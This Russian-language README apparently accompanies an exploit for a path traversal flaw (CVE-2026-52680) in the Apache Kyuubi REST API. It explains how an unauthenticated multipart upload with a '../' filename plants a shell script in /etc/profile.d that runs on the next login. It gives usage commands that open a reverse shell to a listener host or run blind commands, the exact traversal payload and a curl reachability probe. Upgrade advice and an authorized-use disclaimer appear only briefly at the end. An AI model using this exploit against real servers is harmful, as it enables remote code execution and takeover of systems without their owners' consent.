
Эксплойт для Apache Kyuubi, использующий обход пути (CVE-2026-52680) и обеспечивающий неаутентифицированную произвольную запись файлов и выполнение кода через shell-скрипты profile.d.
Неаутентифицированная произвольная запись файла в REST API Apache Kyuubi через конечную точку multipart для отправки пакетов.
POST /api/v1/batches (multipart/form-data) записывает часть resourceFile в
$KYUUBI_HOME/work/upload/<batchId>/, используя имя файла, предоставленное клиентом, без
проверки обхода пути (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
Имя файла с ../ позволяет выйти за пределы каталога загрузки → запись файла в произвольный каталог (CWE-22) от имени
пользователя процесса Kyuubi. Kyuubi по умолчанию поставляется с kyuubi.authentication=NONE, поэтому конечная точка
не требует аутентификации.
1.7.0 – 1.11.11.12.0 (добавлена проверка вхождения filePath.normalize().startsWith(dir.normalize()))10099 (REST-интерфейс, не требует аутентификации при authentication=NONE)writeToTempFile вставляет -<yyyyMMddHHmmss>-<counter> перед расширением, поэтому вы контролируете
каталог назначения, расширение и содержимое, но не точное базовое имя. Это
исключает перезапись файлов с точным именем (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — вместо этого
нацельтесь на место, которое выполняется по glob-шаблону.
Этот эксплойт записывает /etc/profile.d/pwn.sh → сохраняется как /etc/profile.d/pwn-<ts>-<n>.sh, который
по-прежнему соответствует /etc/profile.d/*.sh и подключается через source (бит выполнения не требуется) каждой входной
оболочкой. Он выполняется от имени того пользователя, который открывает входную оболочку — root, если Kyuubi работает от root и
происходит вход root (например, ssh root@host, su -, cron bash -lc).
Только стандартная библиотека Python 3 — без зависимостей.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
Загрузка возвращает HTTP 500 (Error opening batch session) при отсутствии Spark-бэкенда —
это ожидаемо и безвредно: файл записывается до запуска пакета.
Две multipart-части:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} —
минимально допустимый BatchRequest, чтобы валидация прошла и был достигнут приёмник загрузки.resourceFile, имя файла ../../../../../../etc/profile.d/pwn.sh, тело = полезная нагрузка. Kyuubi
записывает его (с искажённым базовым именем) в /etc/profile.d/pwn-<ts>-<n>.sh.Затем входная оболочка подключает через source /etc/profile.d/*.sh и выполняет полезную нагрузку.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
REST-интерфейс Kyuubi на порту 10099 с authentication=NONE уязвим.
Обновите Apache Kyuubi до версии ≥ 1.12.0, включите аутентификацию (kyuubi.authentication), никогда не открывайте
REST-шлюз для недоверенных сетей и не запускайте Kyuubi от имени root.
Только для авторизованного тестирования безопасности и обучения. Используйте только против систем, которыми вы владеете или на тестирование которых получили явное разрешение.